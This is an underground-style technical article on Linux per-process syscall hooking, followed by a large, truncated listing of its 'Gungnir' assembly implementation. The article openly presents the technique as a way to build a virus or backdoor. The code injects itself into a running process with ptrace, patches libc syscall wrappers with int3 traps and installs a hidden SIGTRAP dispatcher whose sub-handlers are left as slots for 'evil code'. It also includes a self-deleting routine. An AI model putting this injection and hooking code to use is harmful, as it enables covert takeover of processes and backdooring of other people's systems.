Linux Per-Process Syscall Hooking by Pluf 1. Introduction 2. Function wrapping 3. Signal handling 4. Syscall trapping 5. Limitations 6. Conclusion 7. References A. Gungnir code 1. Introduction This document describes a new syscall hooking technique for Linux systems and exposes how it can be implemented as part of a virus or a backdoor in order to take full control over an userland application. Although there are some well- known methods for hooking functions, they are mostly based on the ELF format itself. This technique is focused on thoses pieces of code that are externally called by the main program and invoke a system call or system service. A simple implementation of this hooking mechanism has been developed as a result of the research and it is included with the article. This code provided does not have all the features you wish but includes the required ones, is not a real backdoor but a simple proof of concept, perfect to write your own one. 2. Function Wrapping This section contains a brief description of the libc syscall wrapping mechanism and how it works, if you have not ever heard of this or you need for more information you should read the libc code and check the manual [3]. The GNU C library (glibc) provides a complete interface to request system services through a set of functions called syscall wrappers. These functions are used by userland programmers to execute syscalls and not be worried about the inner mechanism of services invocation. Each system service has its own wrapper code associated and is placed in the libc shared object. The following is the disassembly of the mprotect() syscall wrapper: 53 push ebx 8b542410 mov edx, [esp+10h] 8b4c240c mov ecx, [esp+0ch] 8b5c2408 mov ebx, [esp+8] b87d000000 mov eax, 7dh cd80 int 80h 5b pop ebx 3d01f0ffff cmp eax, 0fffff001h 7301 jnc loc_b54ad c3 ret 53 push ebx e87efdf5ff call sub_15231 81c341eb0500 add ebx, offset_5eb41 31d2 xor edx, edx 29c2 sub edx, eax 52 push edx e8cdfcf5ff call sub_15190 59 pop ecx 5b pop ebx 8908 mov [eax], ecx 83c8ff or eax, 0ffffffffh ebe0 jmp loc_b54ac 90 nop 90 nop 90 nop 90 nop This function contains lot of code that is not useful for us now, the most significative code can be seen at the beginning. The first instructions are the responsible for preparing and invoking the mprotect system call from userspace. The parameters that it takes are all moved from the stack space into the corresponding registers, then the service number is moved into eax and finally the syscall is invoked by using one of the available "system service invocation instruction" (traditionally, it has been the famous int80 instruction). Although the code should be slightly different for each wrapper, they commonly share the same pieces of code, where the most important ones are: 1) instructions to set the parameters: 8b542410 mov edx, [esp+10h] 8b4c240c mov ecx, [esp+0ch] 8b5c2408 mov ebx, [esp+8] 2) instruction to set the service number: b87d000000 mov eax, 7dh 3) the system service invocation instruction: cd80 int 80h 4) some kind of internal error handling: 5b pop ebx 3d01f0ffff cmp eax, 0fffff001h 7301 jnc loc_b54ad If we have a look at the libc source code we can see an include file which contains some macros in inline assembly, it does exactly the first two parts of the above layout. The following macro defines a general instruction used to execute a syscall: # define INTERNAL_SYSCALL(name, err, nr, args...) \ ({ \ register unsigned int resultvar; \ EXTRAVAR_##nr \ asm volatile ( \ LOADARGS_##nr \ "movl %1, %%eax\n\t" \ "int $0x80\n\t" \ RESTOREARGS_##nr \ : "=a" (resultvar) \ : "i" (__NR_##name) ASMFMT_##nr(args) : "memory", "cc"); \ (int) resultvar; }) And you can see the macro above in action in the following wrapper code: gid_t __getgid (void) { INTERNAL_SYSCALL_DECL (err); #if __ASSUME_32BITUIDS > 0 INTERNAL_SYSCALL (getgid, err, 0); #else #ifdef __NR_getgid32 if (__libc_missing_32bit_uids <= 0) { int result; result = INTERNAL_SYSCALL (getgid32, err, 0); if (! INTERNAL_SYSCALL_ERROR_P (result, err) || INTERNAL_SYSCALL_ERRNO (result, err) != ENOSYS) return result; __libc_missing_32bit_uids = 1; } # endif /* __NR_getgid32 */ /* No error checking. */ return INTERNAL_SYSCALL (getgid, err, 0); #endif } 3. Signal Handling This section will discuss what happens on userspace when a signal handler is invoked and especially how the execution contexts are saved and restored. The following is not a deep description of the Linux signal internals, only those parts that are involved in our hooking method will be showed, if you need more information check the kernel code. A programmer can modify the behaviour of an application by simply changing the default action taken by the process when a specific signal is delivered. When a process receive a signal the kernel checks if exist a handler registered for it, if it does, then the kernel executes the function "handle_signal" which basically does the following three steps: * save current context * set handler context * begin handler execution The first step consists in saving the current execution context which comprises the general purpose registers, among other things, at the point in which the execution flow was interrupted by the signal. All this information is known as "signal frame" or sigframe. This structure is used later by kernel in order to restore the execution, so it is placed on the stack, just after the last push. Sigframe Struct: (fill in by the internal kernel function "setup_Frame") struct sigframe { char __user *pretcode; int sig; struct sigcontext sc; struct _fpstate fpstate; unsigned long extramask[_NSIG_WORDS-1]; char retcode[8]; }; Where the most interesting fields are: * pretcode: the restorer function address, called just after signal handler returns. It is usually a pointer to a code that simply makes a call to sigreturn(): restorer = &__kernel_sigreturn; if (ka->sa.sa_flags & SA_RESTORER) restorer = ka->sa.sa_restorer; /* Set up to return from userspace. */ err |= __put_user(restorer, &frame->pretcode); * sig: number of the delivered signal * sc: a sigcontext structure that contains the value of all general purpose registers when the program was interrupted: struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; This shows how the stack layout looks when a sigframe has been inserted (handler prolog is not present yet): esp esp [ | sigframe | --- data ---- | ebp | eip | args ] '---------------| | | '---------------------' | interrupted function | frame '- restorer __kernel_sigreturn() The second step consists in preparing the handler's context to be executed: regs->esp = (unsigned long) frame; regs->eip = (unsigned long) ka->sa.sa_handler; regs->eax = (unsigned long) sig; regs->edx = (unsigned long) 0; regs->ecx = (unsigned long) 0; set_fs(USER_DS); regs->xds = __USER_DS; regs->xes = __USER_DS; regs->xss = __USER_DS; regs->xcs = __USER_CS; And finally, in the third step the execution flow came back from kernel space and the handler is executed. Fortunately, the actions that it will do does not affect the sigframe. Once it has finished the pretcode is loaded into eip register and sigreturn() syscall restores the saved context. 4. Trapping syscalls Once we have reviewed what a syscall wrapper is and what operations are involved during a signal handling procedure we can proceed to explain the details of the hooking mechanism. Basically, a trapped syscall can be defined as an event notification mechanism, used by a built-in userland syscall dispatcher. The idea is really quite simple, just search a specific syscall wrapper and patch it with our hook, but this hook is not the common "jmp/call" instruction which performs a flow control transfer, but it is just a int3 instruction. As a result, each time a wrapper code is accessed (from the main program or from a shared object) a sigtrap signal is produced and delivered to the current process, it is catched by the kernel and handled by an special sigtrap handler. This routine is responsible for identifying the syscall requested and executing its associated callback function. Implement a syscall trapping mechanism is not really easy, it must be all coded in assembly language because is the best way to work in the context of a runtime process (portability problems). Also, the code should be as small as possible (not always) and be able to performs, at least, all the following actions: * copy itself into the target process avoiding ASLR and similar kernel developer tricks * to have at one's disposal a good length disassembler engine * has symbol resolution and symbol hot-patching routines * has a sigtrap handler capable of dispatching syscall requests * optionally (but no less important) has some kind of internal error handling in case of crash In fact, as you can see, it is more like a virus but is not self-propagating. The following sections will describe some of the above features included in the code provided and the main actions that it performs to become a hidden system service dispatcher. 4.1. Target Process Infection First thing the code does is just copy itself into the target process and, to achieve that, it uses the ptrace interface available on Linux, as well as on many other UNIX systems. This task is performed by a small piece of code called "injector". When you have to write some code to the process's address space you have to face some problems which, if not treated, can cause your backdoor and also the infected program crash after detaching. The injector code must deal with it and ensure the injected code is executed after the process is restarted. *) blocking syscalls: It is quite common to modify the EIP register to point to injected code so after detaching it from target process it can be run, this way of doing the injection may generates problems when the previously instruction (which ptrace interrupted ) corresponds to a blocking syscall like read(),write(),etc. So if EIP is changed, the kernel will continues the execution at this point skipping over the syscall. One way to solve this is to inject two pieces of code: the first one is placed at EIP (starter) and the second one is placed into the stack (main code). Due to the fact that the EIP register is not changed, kernel continues the execution of the blocking syscall and when it finished the starter cames into play. The only thing the starter must do is move the second code to a memory mapped area and run it. *) VDSO and vsyscall: If you take a look to the objects loaded into the address space of any process of your Linux system, you can see a segment called "[vdso]", it is the "dynamically linked shared object". This object is loaded by the kernel and contains three functions: __kernel_vsyscall(), __kernel_sigreturn() and __kernel_rt_sigreturn(). The most important one for us is the vsyscall(). This function has the code to enter into kernel mode and there are two different versions: int version and sysenter version. for more information about VDSO check [6]. The problem here is that the latest kernels does not allow us to modify the code of the VDSO segment, so we can not write the starter code into the vsyscall. Once again there is a way to solve this new problem and it consist in searching for the return address to the caller function: ( wrapper code ) mov %ebx,%edx mov 0x8(%esp),%ecx mov 0x4(%esp),%ebx ( vsyscall ) mov $0x27,%eax ( vsyscall ) int 0x80 <---- call *%gs:0x10 ----> push %ecx ret ,----> [ the starter code ] push %edx | | [ is placed here ] push %ebp '-->----| mov %esp,%ebp | sysenter | nop x7 | jmp 0xffffe403 | pop %ebp | pop %edx | pop %ecx '----<---------------------- ret *) VDSO analyzer: The VDSO analyzer is just a set of small functions coded to help the code provided to perform a runtime identification of that segment and get information about their symbols: VDSOHandle *VDSOLoad(DWORD pid, DWORD base) VOID VDSOUnload(VDSOHandle *) VDSOSym *VDSOGetSym(VDSOHandle *, DWORD SymId) DWORD VDSOGetRet(VDSOHandle *, DWORD EIP, DWORD ESP) 4.2. Symbol resolution Once the code has been injected the next step is to locate the syscall wrappers to be hijacked. As was described in section 2, they are all part of the libc shared object, so at this point some kind of built-in symbol resolver is required. *) shared object symbol resolver: The symbol resolution is the most tedious process but the most funny as well. Although exists some heuristics tricks to get the address of a shared object symbol, only one is both reliable and faster: elf hash table. The description of this generic mechanism is beyond the scope of this text, for more details check out [3]. The code provided contains a function to deal with this task: the shared object symbol resolver. VOID sosr(sosr *) sosr_flags equ 00h ; DWORD : options sosr_hash_table equ 04h ; PVOID : symbol hash table sosr_va_table equ 08h ; PVOID ; symbol address table sosr_sym_count equ 0Ch ; DWORD : num of symbols to be resolved sosr_base equ 10h ; DWORD : shared object base address sosr_dynamic equ 14h ; DWORD : dynamic section address sosr_map_names equ 18h ; PVOID : map name list (gsoinf_by_maps) sosr_lkm_names equ 1Ch ; PVOID : lkm name list (gsoinf_by_lkm) The first thing the resolver does is to locate the base address of the shared object, just only two methods to achieve this can be seriously considered: ld's link_map structure and/or process maps file. The sosr() function take advantage of both methods. The famous link_map list is a double linked list in which each node describes a shared object that was loaded into the process address space. The base address for each object is placed into this structure by the runtime loader. *) mapfile reader: The Linux kernel maintains a maps file per process, commonly placed at /proc/PID /maps, which describes all the memory mapped areas within the process. The mapfile reader (mpfr) has been developed to cover this area, providing functions to access the content of this file: DWORD mpfr_open(mpfr *) VOID mpfr_close(mpfr *) mapent *mpfr_search_by_vaddr(mpfr *mpfr, DWORD vaddr) mapent *mpfr_search_by_name(mpfr *mpfr, LPCSTR *name, DWORD size) mapent *mpfr_search_by_names(mpfr *mpfr, PVOID *names) mapent *mpfr_get_vdso(mpfr *mpfr) mapent *mpfr_get_stack(mpfr *mpfr) The mpfr_open() routine opens the process' mapfile and build a linked list of map entries, so you can go through this list in order to get the segment you are searching for (the mpfr_search* and mpfr_get* routines). The following is the content of a map entry: mapent_start equ 00h ; DWORD : beginning of segment mapent_end equ 04h ; DWORD : ending of segment mapent_size equ 08h ; DWORD : segment size mapent_flags equ 0Ch ; DWORD : segment type and options mapent_name equ 10h ; LPSTR : segment name (shared objects only) mapent_namesz equ 14h ; DWORD : segment name size mapent_next equ 18h ; PMAPENT : next entry If you take a look to the code you will note that the mapfile reader is largely used throughout the code, this is because it should never fail and uses a system resource that is supposed to be always present. In fact, is the most stable method I have found so far. *) the magic table: The magic table is just a big data structure which contains information about the syscall wrappers. Each symbol has its own entry and it is 5byte long and has the following format: 0-1b = magic code 1-5b = magic value The first byte is the magic code and the value stored in it is the system call number for the syscall wrapper referenced. The following 4 bytes is the magic value, which is just a dword that take the following values: 1) a symbol name hash value 2) a Elf32_Sym struct pointer 3) a symbol code pointer 4) a syscall sub-handler pointer Essentially, when the code start, the magic value is the symbol name hash, then , when sosr() is executed, this value is changed by a pointer to the corresponding Elf32_Sym structure within the .dynsym section. And finally, just a bit before the infected process is restarted, its content is changed again to hold a pointer to a syscall handler code. 4.3 Setting Up Hooks When the resolution process has finished and we know exactly where are placed the wrappers, is time to insert the hooks. *) system service invocation instruction: As was described in section 2, a syscall wrapper is just a simple routine used by application programmers to request a system service. This request is performe d by executing a SSII (system service invocation instruction), so if we can control when these instructions are executed (being replaced by a hook code) it is possible to build a sort of pre-request and post-request layer in which each syscall is handled by an associated handler code. The most famous SSII is the "int 80" instruction that has been used in linux since the earlier versions. Most recently releases of Linux kernel has introduced support to the new sysenter/sysexit instruction which allows faster user to kernel transitions. The VDSO segment has been introduced to facilitate the work of the libc, it has not to be worried about which SSII is used in the system, each wrapper have just only call the vsyscall() function. The code provided has support for all of this. *) runtime code disassembling: To proceed with the location of SSII's the whole symbol code must be disassembled on runtime, so a good lde is required. The best length disassembler engine you can find for free (saving you to code your own) is ADE,the Z0mbie's LDE. With this lde you can disassemble fast and is ok for our purpose. I've changed some bytes of the code to support int80 instructions. Initialize the table is as easy as follows: push dword[ebp+ade_flagtable-gdelta] call ade_init ; initialize tables for ade pop eax the same for disassembling: ; ade_disasm params: push dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address push dword[ebp+ade_dstruct-gdelta] ; p2: disasm struct address push esi ; p1: code address call ade_disasm *) symbol hot-patching: When a SSII is found within the wrapper's body, it needs to be completely replaced without modifying any previous and following instruction. The searching process is done with help of ADE and the patching is performed with the following chunk of code: .patch movzx ecx,byte[ebx+ssii_contentsz] sub esi,ecx mov cl,byte[ebx+ssii_size] xchg edi,esi .write_trap: push byte _trap pop eax stosb push byte _nop pop eax dec ecx .write_nop: stosb loop .write_nop As you can see, first instruction's byte is changed by a int3, filling the rest with nops. The following code snipped is an example of patched chroot() wrapper: pre-patch post-patch --------- ---------- 0xb7ecf000 mov %ebx,%edx : mov %ebx,%edx 0xb7ecf002 mov 0x4(%esp),%ebx : mov 0x4(%esp),%ebx 0xb7ecf006 mov $0x3d,%eax : mov $0x3d,%eax 0xb7ecf00b int $0x80 : int3 : nop 0xb7ecf00d mov %edx,%ebx : mov %edx,%ebx pre-patch post-patch --------- ---------- 0xb7ecf000 mov %ebx,%edx : mov %ebx,%edx 0xb7ecf002 mov 0x4(%esp),%ebx : mov 0x4(%esp),%ebx 0xb7ecf006 mov $0x3d,%eax : mov $0x3d,%eax 0xb7ecf00b call *%gs:0x10 : int3 : nop x6 0xb7ecf012 mov %edx,%ebx : mov %edx,%ebx 4.4. Syscall Dispatching This is the last step and the most important one, at this point the hooks has been inserted, so we must prepare the "Trapped Syscall Dispatcher" (TSD). The TSD is the default sigtrap signal handler, so it will handle any sigtrap (syscall request) generated by the hooks. The setup_tsd() function is responsible for installing, configuring and testing the TSD. *) registering the TSD: The TSD must be registered as the default SIGTRAP handler for the running process. To do that we use the sigaction interface as follows: set_traphndl: xchg ecx,edx lea eax, [ebp+tsd-gdelta] push eax push byte sc_sigaction pop eax int 80h add esp,(4*_push) call [ebp+cer2-gdelta] Under some circumstances, an infected application could replace our TSD code by an internal sigtrap handler. In order to avoid this problem the sigaction interface should be hooked as well to not allow this operation. *) registering the TSD sub-handlers The TSD sub-handlers are just a set of functions associated to the system calls, the most basic sub-handler is as follows: _schndl_fork: ; fork syscall handler: .link: mov ebx,sc_fork cmp eax,ebx jne _schndl_read call edx .body: call def_schndl ret All the TSD sub-handlers provided in the code are empty, except one (a basic example). These functions are the place where you can put your favourite evil code, each time the syscall is executed all of its parameters are available to be inspected or whatever you want to do. The registration of the TSD sub-handlers is performed by the following chunk of code: .install_sch: ; install syscall handlers mov ecx,[ebp+(magic_table+magic_entnum)-gdelta] lea esi,[ebp+(magic_table+magic_entry)-gdelta] mov edi,esi .next: xor eax,eax lodsb stosb call schndl_lookup stosd lodsd loop .next *) configuring the TSD The TSD behaviour is configured by enabling (default) or disabling the HEP, It means "handler execution prevention" and when it is enabled the TSD only handle those syscall requests within the libc text segment. *) testing the TSD Test if the TSD works if quite simple, just generate a SIGTRAP by executing an int3 instruction and perform some sanity checks when the TSD is executed and when it has restored the context. The following chunk of code performs the test: xor ecx,ecx mov dword[ebp+hep-gdelta],ecx mov eax,ecx inc ecx mov ebx,ecx inc ecx mov edx,ecx inc edx mov dword[ebp+pid-gdelta],eax int3 ; ---< internal trap >----------: push byte sc_getpid pop eax int 80h mov esi,eax cmp eax,dword[ebp+pid-gdelta] je .enable_HEP call [ebp+sdr-gdelta] 7. Limitations The code provided is just a proof of concept demonstration, so it has some limitations and restrictions. In first place, only intercepts syscalls executed from wrappers functions and any request made from a different place within the process's virtual address space may result in a bypass of the TSD, system calls are out of our control and are passed directly to kernel. In second place, the code is not "thread-safe", it means that the TSD has no support to handle multiple threads, so the behaviour of a multithreading process once it has been infected is totally unpredictable. For instance, if the thread we have infected has not set CLONE_SIGHAND flag when it was created by a call to clone() it will not share the table of signal handlers and, as a result, only that thread will be able to handle our hooks whereas the rest surely will crash. Finally, the code assume that the user has process trace capabilities and is allowed to use ptrace() interface. 6. Conclusion Write backdoors or viruses for Linux is always difficult, the code must run on different kernel versions, and not only the kernel but also other critical components like libraries can be updated, turning each target system different each other. The technique showed in this paper allows taking advantage of some system calls and how to use them to carry out actions that they weren't designed for. There are some other interesting components to be researched in order to improve our "black code". 7. References [1] 29A: viri & asm masters http://vx.netlux.org/29a/ [2] Rootkit.com: rkit masters http://www.rootkit.com [3] Linux Kernel http://www.kernel.org/ [4] The GNU C Library http://www.gnu.org/software/libc/manual/ [5] More ELF buggery - the grugq http://seclists.org/bugtraq/2002/May/0249.html [6] What is linux-gate.so.1? - Johan Petersson http://www.trilithium.com/johan/2005/08/linux-gate/ A. Gungnir code: ; ; Linux Per-Process Syscall Hooking Implementation (Gungnir) ; (C) by Pluf ; Spain/2006 ; ; compile: ; nasm -f elf gungnir.asm && gcc gungnir.o -nostartfiles BITS 32 [section .text] global _start: ; options: ;%define CRYPT %define DBG ;%define TEST_SDR ; basic typedefs: _dword equ 04h _word equ 02h _byte equ 01h ; stack offsets: _push equ _dword _ret equ _dword _pushfd equ _dword _pushad equ 8*_push _pushad_eax equ 7*_push _pushad_ecx equ 6*_push _pushad_edx equ 5*_push _pushad_ebx equ 4*_push _pushad_esp equ 3*_push _pushad_ebp equ 2*_push _pushad_esi equ 1*_push _pushad_edi equ 0*_push ; procedure params: _pparams equ _pushad+_ret _pparam1 equ _pushad+_ret+00h _pparam2 equ _pushad+_ret+04h _pparam3 equ _pushad+_ret+08h _pparam4 equ _pushad+_ret+0Ch ; sigframe struct: sigfrm_ret equ 0*4 sigfrm_sig equ 4*1 sigfrm_ctx_gs equ 2*_push sigfrm_ctx_fs equ 3*_push sigfrm_ctx_es equ 4*_push sigfrm_ctx_ds equ 5*_push sigfrm_ctx_edi equ 6*_push sigfrm_ctx_esi equ 7*_push sigfrm_ctx_esp equ 8*_push sigfrm_ctx_ebp equ 9*_push sigfrm_ctx_ebx equ 10*_push sigfrm_ctx_edx equ 11*_push sigfrm_ctx_ecx equ 12*_push sigfrm_ctx_eax equ 13*_push sigfrm_ctx_eip equ 16*_push ; link_map struct: link_map_base equ 00h link_map_name equ 04h link_map_dyn equ 08h link_map_next equ 0Ch ; sigaction struct: sigact_handler equ 00h sigact_mask equ 04h sigact_flags equ 08h sigact_restorer equ 0Ch ; signals: sigtrap equ 05h sigsegv equ 0Bh rt_signal equ 32+3+20 ; elf offsets/values: elf_hdr_entry equ 18h elf_hdr_phnum equ 2Ch elf_hdr_phoff equ 1Ch elf_phdr_vaddr equ 08h elf_phdr_memsz equ 14h elf_phdr_entsize equ 20h elf_phdr_type_load equ 01h elf_phdr_type_dynamic equ 02h elf_dyn_dtag equ 00h elf_dyn_dval equ 04h elf_dyn_entsize equ 08h elf_dyn_tag_pltgot equ 03h elf_sym_value equ 04h elf_sym_size equ 08h elf_image_base equ 08048000h elf_magic equ 7F454C46h ; ptrace requests: ptrace_req_attach equ 16 ptrace_req_detach equ 17 ptrace_req_getregs equ 12 ptrace_req_setregs equ 13 ptrace_req_poke equ 4 ptrace_req_peek equ 1 ; pt_regs struct: ptregs equ (17*_push) ptregs_eip equ (12*_push) ptregs_esp equ (15*_push) ; instr opcodes: _nop equ 090h _trap equ 0CCh _retinst equ 0C3h ; system call numbers: sc_exit equ 001h sc_fork equ 002h sc_read equ 003h sc_write equ 004h sc_open equ 005h sc_close equ 006h sc_waitpid equ 007h sc_execve equ 00Bh sc_lseek equ 013h sc_getpid equ 014h sc_mount equ 015h sc_umount equ 016h sc_ptrace equ 01Ah sc_mkdir equ 027h sc_rmdir equ 028h sc_chroot equ 03Dh sc_sigaction equ 043h sc_reboot equ 058h sc_mmap equ 05Ah sc_munmap equ 05Bh sc_clone equ 078h sc_uname equ 07Ah sc_mprotect equ 07Dh sc_create_module equ 07Fh sc_init_module equ 080h sc_delete_module equ 081h sc_query_module equ 0A7h ; magic table offsets: magic_entnum equ 000h magic_entry equ 004h magic_code equ 000h magic_address equ 001h magic_entsize equ 005h magic_badentry equ 0FFh ; ssii entry offsets: ssii_next equ 000h ssii_size equ 001h ssii_contentsz equ 002h ssii_content equ 003h nxsf equ 0DEADBEEFh blksz equ 1000h fmated_stringsz equ 40 context_size equ 10*4 ; ten dword ; external functions: extern atoi extern printf _start: ; get argument from shell (pid) "usage: ./gungnir pid" pop eax ; argc dec eax ; exec name jnz .get_pid ; no args, usage!! call .usage db "%s ",0Ah,00h .usage: call printf call _exit .get_pid: pop ebx call atoi xchg esi,eax ; esi = pid injector: ;----[ injector routine ]---------------: Inject the code into the target process ; (use ptrace interface) call getDelta ; get delta offset xor eax,eax cdq unprotect: push dword blksz ; blksz = 4096 push eax ; block list = 0 push eax ; maps count = 0 lea edx,[ebp+self_maps-gdelta] push edx ; map file path push eax ; first entry = 0 mov ebx,esp push ebx ; *mpfr call mpfr_open ; create mpfr for current process lea ecx,[ebp+unprotect-gdelta] ; get the map entry which push ecx ; describes this segment push ebx call mpfr_search_by_vaddr push 7h ; unprotect text segment pop edx mov ecx,[eax+mapent_size] mov ebx,[eax+mapent_start] push byte sc_mprotect pop eax int 80h call injerr add esp,(2*_push) pop edx ; *mpfr lea ecx,[ebp+maps-gdelta] ; maps pointer is used by sosr(), mov dword[ecx],esp ; points to the curret mpfr push sosr_flag_twotbl lea ebx,[ebp+func_vatbl-gdelta] push ebx lea ebx,[ebp+func_hashtbl-gdelta] push ebx call rslv_libcsyms ; resolve some libc symbols lea ebx,[ebp+sosr_struct-gdelta] ; clean base and dynamic mov [ebx+sosr_base],eax ; fields of sosr struct mov [ebx+sosr_dynamic],eax push edx call mpfr_close ; free the current mpfr add esp,(9*_push) get_tpmaps: sub esp,fmated_stringsz ; get space enough to hold the mov eax,esp ; formated string push esi ; pid (argv[1]) lea ebx,[ebp+pid_maps-gdelta] push ebx ; format string push eax ; buffer call [ebp+va_sprintf-gdelta] lea ecx,[ebp+mpfr_struct-gdelta] mov dword[ecx+mpfr_blk_size],blksz pop dword[ecx+mpfr_path] ; path push ecx ; *mpfr call mpfr_open ; create mpfr for the target process add esp,byte(3*_push) ; restore stack attach: xchg ecx,esi ; attach to the target process push byte ptrace_req_attach ; ecx = pid pop ebx push byte sc_ptrace pop eax int 80h call injerr waitpid: cdq ; wait for child to stop xchg ebx,ecx xchg ecx,eax push byte sc_waitpid pop eax int 80h ; ret eax = pid getregs: sub esp,byte ptregs ; get registers mov esi,esp xchg ebx,ecx mov bl,byte ptrace_req_getregs push byte sc_ptrace pop eax int 80h call injerr get_eip: mov edx,[esp+ptregs_eip] ; get and save orig EIP mov dword[ebp+inj_orig_eip-gdelta],edx push edx lea eax,[ebp+mpfr_struct-gdelta] push eax call mpfr_search_by_vaddr ; get map entry which EIP points to add esp,(2*_push) test eax,eax je .seg_notfound ; eax = 0, map not found test byte[eax+mapent_flags],byte stype_vdso ; check if EIP points to VDSO je .check_eip ; not points to VDSO, we can inject the code directly xchg edi,eax ; ebx = mapent push dword[edi+mapent_start] ; base push ecx ; pid call VDSOLoad ; get information about VDSO add esp,(2*_push) push dword[esp+ptregs_esp] ; esp push edx ; eip push eax ; *VDSOHandle call VDSOGetRet ; get address to inject the starter add esp,(3*_push) xchg edx,eax ; set and save new eip mov dword[ebp+inj_orig_eip-gdelta],edx xchg eax,edi .check_eip: mov edi,[eax+mapent_end] ; checks if there is space enugh sub edi,edx ; to store the "starter" code cmp edi,[ebp+starter_sz-gdelta] ; between EIP and the end of the jae save_host_code ; segment .seg_notfound: call _exit save_host_code: mov edi,[ebp+starter_sz-gdelta] ; save host_code, this small chunck of code lea esi,[ebp+host_code-gdelta] ; of the target process will be replaced mov bl,byte ptrace_req_peek ; by the "starter" routine .read_dword: push byte sc_ptrace pop eax int 80h call injerr lodsd add edx,byte 4 sub edi,byte 4 jne .read_dword mov edx,[ebp+inj_orig_eip-gdelta] ; eip xchg esi,ecx ; esi = pid get_esp: mov eax,[esp+ptregs_esp] ; get and save orig esp mov dword[ebp+inj_orig_esp-gdelta],eax sub eax,dword[ebp+stack_padd-gdelta]; get enough space into the stack push eax ; to inject the main code .set_starterGD: add eax, byte (gdelta-schooker) ; point exactly to gdelta label of the schooker routine mov dword[ebp+starter_GD-gdelta],eax ; it is used to access and modify schooker's data lea edi,[ebp+starter-gdelta] ; init of starter .check_esp: lea eax,[ebp+mpfr_struct-gdelta] push eax ; *mpfr call mpfr_search_by_vaddr ; get map entry which "esp" points to pop ecx test eax,eax je .seg_notfound ; eax = 0, map not found pop ecx cmp ecx,[eax+mapent_start] ; check if there is enough space to push ecx ; store the main code into the stack jge inject_starter .seg_notfound: call _exit inject_starter: mov ebp,[ebp+starter_sz-gdelta] ; inject starter routine mov ecx,esi mov bl,byte ptrace_req_poke ; bl = 4 .write_dword: mov esi,dword[edi] push byte sc_ptrace pop eax int 80h call injerr add edi,ebx add edx,ebx sub ebp,ebx jne .write_dword inject_schker: pop edx ; inject schooker routine mov edi,schooker mov bl,byte ptrace_req_poke ; bl = 4 .write_dword: mov esi,dword[edi] push byte sc_ptrace pop eax int 80h call injerr add edi,ebx add edx,ebx cmp edi,fini jbe .write_dword detach: cdq mov esi,edx ; detaches from the process mov bl, byte ptrace_req_detach push byte sc_ptrace pop eax int 80h call injerr _exit: xor eax,eax ; exit(0) mov ebx,eax inc eax int 80h injerr: test eax,eax js _exit ret starter: ;---[ starter routine ]-----------------: .savectx push eax pushad pushfd mov ebp,12345678h ; delta offset of schooker into stack starter_GD equ $-4 mov dword[ebp+orig_esp-gdelta],esp ; save current esp mov eax,[ebp+inj_orig_eip-gdelta] ; set orig ret address mov dword[esp+_pushfd+_pushad],eax push byte context_size ; save context data: pushad+pushfd+push pop ecx mov esi,esp lea edi,[ebp+context-gdelta] rep movsb .alloc_room: mov ecx,dword[ebp+room_size-gdelta] ; map a memory area xor eax,eax cdq push eax dec eax push eax push byte 22h ; anon|private push byte 7 ; read|write|exec push ecx ; size push edx mov ebx,esp push byte sc_mmap pop eax int 80h add esp,(6*_push) dec edx cmp eax,edx je .restctx ; mmap fails, restore previous context .move_code: inc edx mov dword[ebp+code_address-gdelta],eax ; save address of the mapped area lea ebx,[eax+setup-schooker] ; set new entrypoint lea esi,[ebp+schooker-gdelta] push esi mov ecx,(fini-schooker) push ecx mov edi,eax ; eax = destination rep movsb ; move code pop ecx pop edi xor al,al rep stosb ; delete first copy of the code ._start: call ebx ; jump to entrypoint (schooker) .restctx: popfd ; in case of error restore popad ; context previously saved ret ; and continue execution schooker: ;---[ schooker routine ]----------------: getDelta: call _gdelta ; code to get delta offset gdelta: db 0CCh _gdelta: pop ebp ret setup: call getDelta %ifdef DBG pushad call open_logfile ; open logfile lea ecx,[ebp+dbug_msg1-gdelta] call write_logfile popad %endif .unprotect: lea ecx,[ebp+mpfr_struct-gdelta] mov dword [ecx+mpfr_blk_size],blksz lea ebx,[ebp+self_maps-gdelta] mov dword [ecx+mpfr_path],ebx ; set block size & mapfile path push ecx ; *mpfr call mpfr_open ; create mpfr for current processa mov edi,dword[ebp+inj_orig_eip-gdelta] push edi ; host_code address (eip) push ecx ; *mpfr call mpfr_search_by_vaddr ; get map entry which originally add esp,(3*_push) ; have contained host code mov ebx,[eax+mapent_start] ; unprotect this entry mov ecx,[eax+mapent_size] push byte 7h pop edx push byte sc_mprotect pop eax int 80h .rest_hostcode: mov ecx,[ebp+starter_sz-gdelta] ; restore the host code that was lea esi,[ebp+host_code-gdelta] ; replaced by our starter code rep movsb ; esi= host code, edi= inj_orig_eip %ifdef DBG pushad lea ecx,[ebp+dbug_msg2-gdelta] call write_logfile popad %endif .set_globals: mov dword[ebp+link_map-gdelta],ecx ; clean link_map var lea eax,[ebp+mpfr_struct-gdelta] ; maps = &mpfr_struct, used mov dword[ebp+maps-gdelta],eax ; by sosr() & mpfr() routines lea eax,[ebp+eraseme-gdelta] ; if any error is produced, the code mov dword[ebp+sdr-gdelta],eax ; jump to the "self-deleting routine" %ifdef TEST_SDR call [ebp+sdr-gdelta] ; test sdr %endif ; check error routines: lea eax,[ebp+ckerr_zero-gdelta] mov dword[ebp+ckfunc-gdelta],eax ; for functions lea eax,[ebp+ckerr_sone-gdelta] mov dword[ebp+cksys-gdelta],eax ; for syscalls mov eax,[ebp+code_address-gdelta] add eax,[ebp+room_size-gdelta] sub eax,ade_flagtable_size ; get&save ade flagtable address mov dword[ebp+ade_flagtable-gdelta],eax ; placed at the end of the segment sub eax,ade_dstruct_size ; get&save ade disasm struct address mov dword[ebp+ade_dstruct-gdelta],eax ; placed just before the flagtable .noexec_detect: mov edx,ecx ; non-exec stack detection code: .get_segvhndl: push byte 4 ; get current sigsegv handler pop ecx .clean_sigact2: push edx ; sigact struct loop .clean_sigact2 mov edx,esp ; edx = oldact, ecx = 0 push byte sigsegv pop ebx push byte sc_sigaction pop eax int 80h call [ebp+cksys-gdelta] pop eax ; save oldact->handler mov dword[ebp+orig_segvhndl-gdelta],eax .set_segvhndl: xchg ecx,edx ; ecx = act , edx = 0 lea eax,[ebp+.sigsegv_hndl-gdelta] push eax ; act->handler push byte sc_sigaction ; register .sigsegv_hndl code pop eax ; as the sigsegv handler 